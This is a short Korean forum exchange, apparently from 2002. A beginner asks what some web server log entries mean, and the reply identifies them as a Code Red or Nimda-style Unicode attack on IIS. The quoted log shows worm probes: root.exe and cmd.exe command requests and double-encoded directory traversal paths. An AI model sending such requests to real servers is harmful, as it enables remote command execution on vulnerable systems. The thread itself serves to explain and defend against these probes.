WINDOG IIS 웹서버에 유니코드를 이용한 빨간코드 or 님아~!
헤~! 공격기록이 로그에 남은것 입니다.
: 안녕하세여???
: 초보리눅서임다....
: 웹서버를 돌리구 있는데여....
: access_log내용이 다음과 같습니다.
: 고수님덜 해석좀 해주세여....
: 아이피는 xxx로 표시해씀다....
:
: xxx.xxx.xxx.xxx - - [13/Mar/2002:13:39:20 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 "-" "-"
: xxx.xxx.xxx.xxx - - [13/Mar/2002:13:39:24 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 "-" "-"
: xxx.xxx.xxx.xxx - - [13/Mar/2002:13:39:27 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288 "-" "-"
: xxx.xxx.xxx.1xxx- - [13/Mar/2002:13:39:30 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 "-" "-"
: xxx.xxx.xxx.xxx - - [13/Mar/2002:13:39:31 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286 "-" "-"
: xxx.xxx.xxx.xxx - - [13/Mar/2002:13:39:34 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 "-" "-"
: xxx.xxx.xxx.xxx - - [13/Mar/2002:13:39:35 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 "-" "-"
: xxx.xxx.xxx.xxx - - [13/Mar/2002:13:39:38 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 3
: 10 "-" "-" xxx.xxx.xxx.xxx - - [13/Mar/2002:13:39:39 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296 "-
: " "-" xxx.xxx.xxx.xxx - - [13/Mar/2002:13:39:46 +0900] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: 404 310 "-" "-" xxx.xxx.xxx.xxx - - [13/Mar/2002:13:39:50 +0900] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/s
: ystem32/cmd.exe?/c+dir HTTP/1.0" 404 327 "-" "-"